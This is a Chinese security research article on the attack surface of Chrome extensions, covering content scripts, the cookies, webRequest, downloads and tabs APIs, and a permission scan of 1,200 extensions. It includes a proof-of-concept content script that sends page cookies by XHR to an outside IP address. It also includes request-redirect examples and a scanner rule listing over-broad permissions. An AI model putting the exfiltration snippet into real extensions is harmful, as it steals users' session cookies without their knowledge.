1. 程式人生 > 程式設計 >從 0 開始入門 Chrome Ext 安全(二) -- 安全的 Chrome Ext

從 0 開始入門 Chrome Ext 安全(二) -- 安全的 Chrome Ext

作者:LoRexxar'@知道創宇404實驗室
時間:2019年12月5日

原文連結:paper.seebug.org/1092/

在2019年初,微軟正式選擇了Chromium作為預設瀏覽器,並放棄edge的發展。並在19年4月8日,Edge正式放出了基於Chromium開發的Edge Dev瀏覽器,並提供了相容Chrome Ext的配套外掛管理。再加上國內的大小國產瀏覽器大多都是基於Chromium開發的,Chrome的外掛體系越來越影響著廣大的人群。

在這種背景下,Chrome Ext的安全問題也應該受到應有的關注,《從0開始入門Chrome Ext安全》就會從最基礎的外掛開發開始,逐步研究外掛本身的惡意安全問題,惡意網頁如何利用外掛漏洞攻擊瀏覽器等各種視角下的安全問題。

上篇我們主要聊了關於最基礎外掛開發,之後我們就要探討關於Chrome Ext的安全性問題了,這篇文章我們主要圍繞Chrome Ext的api開始,探討在外掛層面到底能對瀏覽器進行多少種操作。

從一個測試頁面開始

為了探討外掛的功能許可權範圍,首先我們設定一個簡單的頁面

<?php
setcookie('secret_cookie','secret_cookie',time()+3600*24);
?>

test pages複製程式碼

接下來我們將圍繞Chrome ext api的功能探討各種可能存在的安全問題以及攻擊層面。

Chrome ext js

content-script

content-script是外掛的核心功能程式碼地方,一般來說,主要的js程式碼都會出現在content-script中。

它的引入方式在上一篇文章中提到過,要在manfest.json中設定

"content_scripts": [
   {
     "matches": ["http://*.nytimes.com/*"],"css": ["myStyles.css"],"js": ["contentScript.js"]
   }
 ],複製程式碼

而content_script js 主要的特點在於他與頁面同時載入,可以訪問dom,並且也能呼叫extension、runtime等部分api,但並不多,主要用於和頁面的互動。

content_script js可以通過設定run_at來設定相對應指令碼載入的時機。

  • document_idle 為預設值,一般來說會在頁面dom載入完成之後,window.onload事件觸發之前
  • document_start 為css載入之後,構造頁面dom之前
  • document_end 則為dom完成之後,圖片等資源載入之前

並且,content_script js還允許通過設定all_frames來使得content_script js作用於頁面內的所有frame,這個配置預設為關閉,因為這本身是個不安全的配置,這個問題會在後面提到。

content_script js中可以直接訪問以下Chrome Ext api:

  • i18n
  • storage
  • runtime:
    • connect
    • getManifest
    • getURL
    • id
    • onConnect
    • onMessage
    • sendMessage

在瞭解完基本的配置後,我們就來看看content_script js可以對頁面造成什麼樣的安全問題。

安全問題

對於content_script js來說,首當其中的一個問題就是,外掛可以獲取頁面的dom,換言之,外掛可以操作頁面內的所有dom,其中就包括非httponly的cookie.

這裡我們簡單把content_script js中寫入下面的程式碼

console.log(document.cookie);
console.log(document.documentElement.outerHTML);
var xhr = new XMLHttpRequest();
xhr.open("get","http://212.129.137.248?a="+document.cookie,false);
xhr.send()複製程式碼

然後載入外掛之後重新整理頁面


可以看到成功獲取到了頁面內dom的資訊,並且如果我們通過xhr跨域傳出訊息之後,我們在後臺也成功收到了這個請求。


這也就意味著,如果外掛作者在外掛中惡意修改dom,甚至獲取dom值傳出都可以通過瀏覽器使用者無感的方式進行。

在整個瀏覽器的外掛體系內,各個層面都存在著這個問題,其中content_script jsinjected script jsdevtools js都可以直接訪問操作dom,而popup js和background js都可以通過chrome.tabs.executeScript來動態執行js,同樣可以執行js修改dom。

除了前面的問題以外,事實上content_script js能訪問到的chrome api非常之少,也涉及不到什麼安全性,這裡暫且不提。

popup/background js

popup js和backround js兩個主要的區別在於載入的時機,由於他們不能訪問dom,所以這兩部分的js在瀏覽器中主要依靠事件驅動。

其中的主要區別是,background js在事件觸發之後會持續執行,而且在關閉所有可見檢視和埠之前不會結束。值得注意的是,頁面開啟、點選拓展按鈕都連線著相應的事件,而不會直接影響外掛的載入。

而除此之外,這兩部分js最重要的特性在於,他們可以呼叫大部分的chrome ext api,在後面我們將一起探索一下各種api。

devtools js

devtools js在外掛體系中是一個比較特別的體系,如果我們一般把F12叫做開發者工具的話,那devtools js就是開發者工具的開發者工具。

許可權和域限制大體上和content js 一致,而唯一特別的是他可以操作3個特殊的api:

  • chrome.devtools.panels:面板相關;
  • chrome.devtools.inspectedWindow:獲取被審查視窗的有關資訊;
  • chrome.devtools.network:獲取有關網路請求的資訊;

而這三個api也主要是用於修改F12和獲取資訊的,其他的就不贅述了。

Chrome Ext Api

chrome.cookies

chrome.cookies api需要給與域許可權以及cookies許可權,在manfest.json中這樣定義:

      {
        "name": "My extension",...
        "permissions": [
          "cookies","*://*.google.com"
        ],...
      }複製程式碼

當申請這樣的許可權之後,我們可以通過呼叫chrome.cookies去獲取google.com域下的所有cookie.

其中一共包含5個方法

  • get - chrome.cookies.get(object details,function callback)
    獲取符合條件的cookie

  • getAll - chrome.cookies.getAll(object details,function callback)
    獲取符合條件的所有cookie

  • set - chrome.cookies.set(object details,function callback)
    設定cookie

  • remove - chrome.cookies.remove(object details,function callback)
    刪除cookie

  • getAllCookieStores - chrome.cookies.getAllCookieStores(function callback)
    列出所有儲存的cookie

和一個事件

  • chrome.cookies.onChanged.addListener(function callback)
    當cookie刪除或者更改導致的事件

當外掛擁有cookie許可權時,他們可以讀寫所有瀏覽器儲存的cookie.


chrome.contentSettings

chrome.contentSettings api 用來設定瀏覽器在訪問某個網頁時的基礎設定,其中包括cookie、js、外掛等很多在訪問網頁時生效的配置。

在manifest中需要申請contentSettings的許可權

  {
    "name": "My extension",...
    "permissions": [
      "contentSettings"
    ],...
  }複製程式碼

在content.Setting的api中,方法主要用於修改設定

- ResourceIdentifier
- Scope
- ContentSetting
- CookiesContentSetting
- ImagesContentSetting
- JavascriptContentSetting
- LocationContentSetting
- PluginsContentSetting
- PopupsContentSetting
- NotificationsContentSetting
- FullscreenContentSetting
- MouselockContentSetting
- MicrophoneContentSetting
- CameraContentSetting
- PpapiBrokerContentSetting
- MultipleAutomaticDownloadsContentSetting複製程式碼

因為沒有涉及到太重要的api,這裡就暫時不提

chrome.desktopCapture

chrome.desktopCapture可以被用來對整個螢幕,瀏覽器或者某個頁面截圖(實時)。

在manifest中需要申請desktopCapture的許可權,並且瀏覽器提供了獲取媒體流的一個方法。

  • chooseDesktopMedia - integer chrome.desktopCapture.chooseDesktopMedia(array of DesktopCaptureSourceType sources,tabs.Tab targetTab,function callback)
  • cancelChooseDesktopMedia - chrome.desktopCapture.cancelChooseDesktopMedia(integer desktopMediaRequestId)

其中DesktopCaptureSourceType被設定為"screen","window","tab",or "audio"的列表。

獲取到相應截圖之後,該方法會將相對應的媒體流id傳給回撥函式,這個id可以通過getUserMedia這個api來生成相應的id,這個新建立的streamid只能使用一次並且會在幾秒後過期。

這裡用一個簡單的demo來示範

function gotStream(stream) {
  console.log("Received local stream");
  var video = document.querySelector("video");
  video.src = URL.createObjectURL(stream);
  localstream = stream;
  stream.onended = function() { console.log("Ended"); };
}

chrome.desktopCapture.chooseDesktopMedia(
["screen"],function (id) {
    navigator.webkitGetUserMedia({
        audio: false,video: {
            mandatory: {
                chromeMediaSource: "desktop",chromeMediaSourceId: id
            }
        }
    },gotStream);
}
});複製程式碼

這裡獲取的是一個實時的視訊流


chrome.pageCapture

chrome.pageCapture的大致邏輯和desktopCapture比較像,在manifest需要申請pageCapture的許可權

  {
    "name": "My extension",...
    "permissions": [
      "pageCapture"
    ],...
  }複製程式碼

它也只支援saveasMHTML一種方法

  • saveAsMHTML - chrome.pageCapture.saveAsMHTML(object details,function callback)

通過呼叫這個方法可以獲取當前瀏覽器任意tab下的頁面原始碼,並儲存為blob格式的物件。

唯一的問題在於需要先知道tabid


chrome.tabCapture

chrome.tabCapture和chrome.desktopCapture類似,其主要功能區別在於,tabCapture可以捕獲標籤頁的視訊和音訊,比desktopCapture來說要更加針對。

同樣的需要提前宣告tabCapture許可權。

主要方法有

  • capture - chrome.tabCapture.capture( CaptureOptions options,function callback)
  • getCapturedTabs - chrome.tabCapture.getCapturedTabs(function callback)
  • captureOffscreenTab - chrome.tabCapture.captureOffscreenTab(string startUrl,CaptureOptions options,function callback)
  • getMediaStreamId - chrome.tabCapture.getMediaStreamId(object options,function callback)

這裡就不細講了,大部分api都是用來捕獲媒體流的,進一步使用就和desktopCapture中提到的使用方法相差不大。

chrome.webRequest

chrome.webRequest主要使用者觀察和分析流量,並且允許在執行過程中攔截、阻止或修改請求。

在manifest中這個api除了需要webRequest以外,還有有相應域的許可權,比如*://*.*:*,而且要注意的是如果是需要攔截請求還需要webRequestBlocking的許可權

{
        "name": "My extension",...
        "permissions": [
          "webRequest","*://*.google.com/"
        ],...
      }複製程式碼

在具體瞭解這個api之前,首先我們必須瞭解一次請求在瀏覽器層面的流程,以及相應的事件觸發。


在瀏覽器外掛的世界裡,相應的事件觸發被劃分為多個層級,每個層級逐一執行處理。

由於這個api下的介面太多,這裡拿其中的一個舉例子

chrome.webRequest.onBeforeRequest.addListener(
    function(details) {
      return {cancel: details.url.indexOf("://www.baidu.com/") != -1};
    },{urls: ["<all_urls>"]},["blocking"]);複製程式碼

當訪問baidu的時候,請求會被block


當設定了redirectUrl時會產生相應的跳轉

chrome.webRequest.onBeforeRequest.addListener(
    function(details) {
        if(details.url.indexOf("://www.baidu.com/") != -1){
            return {redirectUrl: "https://lorexxar.cn"};
        }
    },["blocking"]);複製程式碼

此時訪問www.baidu.com會跳轉lorexxar.cn

在檔案中提到,通過這些api可以直接修改post提交的內容。

chrome.bookmarks

chrome.bookmarks是用來操作chrome收藏夾欄的api,可以用於獲取、修改、建立收藏夾內容。

在manifest中需要申請bookmarks許可權。

當我們使用這個api時,不但可以獲取所有的收藏列表,還可以靜默修改收藏對應的連結。



chrome.downloads

chrome.downloads是用來操作chrome中下載檔案相關的api,可以建立下載,繼續、取消、暫停,甚至可以開啟下載檔案的目錄或開啟下載的檔案。

這個api在manifest中需要申請downloads許可權,如果想要開啟下載的檔案,還需要申請downloads.open許可權。

{
    "name": "My extension",...
    "permissions": [
      "downloads","downloads.open"
    ],...
  }複製程式碼

在這個api下,提供了許多相關的方法

  • download - chrome.downloads.download(object options,function callback)
  • search - chrome.downloads.search(object query,function callback)
  • pause - chrome.downloads.pause(integer downloadId,function callback)
  • resume - chrome.downloads.resume(integer downloadId,function callback)
  • cancel - chrome.downloads.cancel(integer downloadId,function callback)
  • getFileIcon - chrome.downloads.getFileIcon(integer downloadId,object options,function callback)
  • open - chrome.downloads.open(integer downloadId)
  • show - chrome.downloads.show(integer downloadId)
  • showDefaultFolder - chrome.downloads.showDefaultFolder()
  • erase - chrome.downloads.erase(object query,function callback)
  • removeFile - chrome.downloads.removeFile(integer downloadId,function callback)
  • acceptDanger - chrome.downloads.acceptDanger(integer downloadId,function callback)
  • setShelfEnabled - chrome.downloads.setShelfEnabled(boolean enabled)

當我們擁有相應的許可權時,我們可以直接建立新的下載,如果是危險字尾,比如.exe等會彈出一個相應的危險提示。


除了在下載過程中可以暫停、取消等方法,還可以通過show開啟檔案所在目錄或者open直接開啟檔案。

但除了需要額外的open許可權以外,還會彈出一次提示框。


相應的其實可以下載file:///C:/Windows/System32/calc.exe並執行,只不過在下載和執行的時候會有專門的危險提示。

反之來說,如果我們下載的是一個標識為非危險的檔案,那麼我們就可以靜默下載並且開啟檔案。

chrome.history && chrome.sessions

chrome.history 是用來操作歷史紀錄的api,和我們常見的瀏覽器歷史記錄的區別就是,這個api只能獲取這次開啟瀏覽器中的歷史紀律,而且要注意的是,只有關閉的網站才會算進歷史記錄中。

這個api在manfiest中要申請history許可權。

 {
    "name": "My extension",...
    "permissions": [
      "history"
    ],...
  }複製程式碼

api下的所有方法如下,主要圍繞增刪改查來

  • search - chrome.history.search(object query,function callback)
  • getVisits - chrome.history.getVisits(object details,function callback)
  • addUrl - chrome.history.addUrl(object details,function callback)
  • deleteUrl - chrome.history.deleteUrl(object details,function callback)
  • deleteRange - chrome.history.deleteRange(object range,function callback)
  • deleteAll - chrome.history.deleteAll(function callback)

瀏覽器可以獲取這次開啟瀏覽器之後所有的歷史紀錄。


在chrome的api中,有一個api和這個類似-chrome.sessions

這個api是用來操作和回覆瀏覽器會話的,同樣需要申請sessions許可權。

  • getRecentlyClosed - chrome.sessions.getRecentlyClosed( Filter filter,function callback)
  • getDevices - chrome.sessions.getDevices( Filter filter,function callback)
  • restore - chrome.sessions.restore(string sessionId,function callback)

通過這個api可以獲取最近關閉的標籤會話,還可以恢復。


chrome.tabs

chrome.tabs是用於操作標籤頁的api,算是所有api中比較重要的一個api,其中有很多特殊的操作,除了可以控制標籤頁以外,也可以在標籤頁內執行js,改變css。

無需宣告任何許可權就可以呼叫tabs中的大多出api,但是如果需要修改tab的url等屬性,則需要tabs許可權,除此之外,想要在tab中執行js和修改css,還需要activeTab許可權才行。

  • get - chrome.tabs.get(integer tabId,function callback)
  • getCurrent - chrome.tabs.getCurrent(function callback)
  • connect - runtime.Port chrome.tabs.connect(integer tabId,object connectInfo)
  • sendRequest - chrome.tabs.sendRequest(integer tabId,any request,function responseCallback)
  • sendMessage - chrome.tabs.sendMessage(integer tabId,any message,function responseCallback)
  • getSelected - chrome.tabs.getSelected(integer windowId,function callback)
  • getAllInWindow - chrome.tabs.getAllInWindow(integer windowId,function callback)
  • create - chrome.tabs.create(object createProperties,function callback)
  • duplicate - chrome.tabs.duplicate(integer tabId,function callback)
  • query - chrome.tabs.query(object queryInfo,function callback)
  • highlight - chrome.tabs.highlight(object highlightInfo,function callback)
  • update - chrome.tabs.update(integer tabId,object updateProperties,function callback)
  • move - chrome.tabs.move(integer or array of integer tabIds,object - moveProperties,function callback)
  • reload - chrome.tabs.reload(integer tabId,object reloadProperties,function callback)
  • remove - chrome.tabs.remove(integer or array of integer tabIds,function callback)
  • detectLanguage - chrome.tabs.detectLanguage(integer tabId,function callback)
  • captureVisibleTab - chrome.tabs.captureVisibleTab(integer windowId,function callback)
  • executeScript - chrome.tabs.executeScript(integer tabId,object details,function callback)
  • insertCSS - chrome.tabs.insertCSS(integer tabId,function callback)
  • setZoom - chrome.tabs.setZoom(integer tabId,double zoomFactor,function callback)
  • getZoom - chrome.tabs.getZoom(integer tabId,function callback)
  • setZoomSettings - chrome.tabs.setZoomSettings(integer tabId,ZoomSettings zoomSettings,function callback)
  • getZoomSettings - chrome.tabs.getZoomSettings(integer tabId,function callback)
  • discard - chrome.tabs.discard(integer tabId,function callback)
  • goForward - chrome.tabs.goForward(integer tabId,function callback)
  • goBack - chrome.tabs.goBack(integer tabId,function callback)

一個比較簡單的例子,如果獲取到tab,我們可以通過update靜默跳轉tab。


同樣的,除了可以控制任意tab的連結以外,我們還可以新建、移動、複製,高亮標籤頁。

當我們擁有activeTab許可權時,我們還可以使用captureVisibleTab來擷取當前頁面,並轉化為data資料流。


同樣我們可以用executeScript來執行js程式碼,這也是popup和當前頁面一般溝通的主要方式。


這裡我主要整理了一些和敏感資訊相關的API,對於外掛的安全問題討論也將主要圍繞這些API來討論。

chrome 外掛許可權體系

在瞭解基本的API之後,我們必須瞭解一下chrome 外掛的許可權體系,在跟著閱讀前面相關api的部分之後,不難發現,chrome其實對自身的外掛體系又非常嚴格的分割,但也許正是因為這樣,對於外掛開發者來說,可能需要申請太多的許可權用於外掛。

所以為了省事,chrome還給出了第二種許可權宣告方式,就是基於域的許可權體系。

在許可權申請中,可以申請諸如:

  • "http://*/*",
  • "https://*/*"
  • "*://*/*",
  • "http://*/",
  • "https://*/",

這樣針對具體域的許可權申請方式,還支援<all_urls>直接替代所有。

在後來的許可權體系中,Chrome新增了activeTab來替代<all_urls>,在宣告瞭activeTab之後,瀏覽器會賦予外掛操作當前活躍選項卡的操作許可權,且不會宣告具體的許可權要求。

  • 當沒有activeTab


  • 當申請activeTab後


當activeTab許可權被宣告之後,無需任何其他許可權就可以執行以下操作:

  • 呼叫tabs.executeScript 和 tabs.insertCSS
  • 通過tabs.Tab物件獲取頁面的各種資訊
  • 獲取webRequest需要的域許可權

換言之,當外掛申請到activeTab許可權時,哪怕獲取不到瀏覽器資訊,也能任意操作瀏覽的標籤頁。

更何況,對於大多數外掛使用者,他們根本不關心外掛申請了什麼許可權,所以外掛開發者即便申請需要許可權也不會影響使用,在這種理念下,安全問題就誕生了。


真實世界中的資料

經過粗略統計,現在公開在chrome商店的chrome ext超過40000,還不包括私下傳播的瀏覽器外掛。

為了能夠儘量真實的反映真實世界中的影響,這裡我們隨機選取1200個chrome外掛,並從這部分的外掛中獲取一些結果。值得注意的是,下面提到的許可權並不一定代表外掛不安全,只是當外掛獲取這樣的許可權時,它就有能力完成不安 全的操作。

這裡我們使用Cobra-W新增的Chrome ext掃描功能對我們選取的1200個目標進行掃描分析。

github.com/LoRexxar/Co…

 python3 cobra.py -t '..\chrome_target\' -r 4104 -lan chromeext -d複製程式碼

當外掛獲取到<all-url>或者*://*/*等類似的許可權之後,外掛可以操作所有開啟的標籤頁,可以靜默執行任意js、css程式碼。

我們可以用以下規則來掃描:

class CVI_4104:
    """
    rule for chrome crx

    """

    def __init__(self):
        self.svid = 4104
        self.language = "chromeext"
        self.author = "LoRexxar"
        self.vulnerability = "Manifest.json permissions 要求許可權過大"
        self.description = "Manifest.json permissions 要求許可權過大"

        # status
        self.status = True

        # 部分配置
        self.match_mode = "special-crx-keyword-match"
        self.keyword = "permissions"
        self.match = [
            "http://*/*","https://*/*","*://*/*","<all_urls>","http://*/","https://*/","activeTab",]

        self.match = list(map(re.escape,self.match))
        self.unmatch = []

        self.vul_function = None

    def main(self,regex_string):
        """
        regex string input
        :regex_string: regex match string
        :return:
        """
        pass複製程式碼

在我們隨機挑選的1200個外掛中,共585個外掛申請了相關的許可權。

其中大部分外掛都申請了相對範圍較廣的覆蓋範圍。

其他

然後我們主要掃描部分在前面提到過的敏感api許可權,涉及到相關的許可權的外掛數量如下:


後記

在翻閱了chrome相關的檔案之後,我們不難發現,作為瀏覽器中相對獨立的一層,外掛可以輕鬆的操作相對下層的會話層,同時也可以在獲取一定的許可權之後,讀取一些更上層例如作業系統的資訊...

而且最麻煩的是,現代在使用瀏覽器的同時,很少會在意瀏覽器外掛的安全性,而事實上,chrome商店也只能在一定程度上檢測外掛的安全性,但是卻沒辦法完全驗證,換言之,如果你安裝了一個惡意外掛,也沒有任何人能為你的瀏覽器負責...安全問題也就真實的影響著各個瀏覽器的使用者。

ref


本文由 Seebug Paper 釋出,如需轉載請註明來源。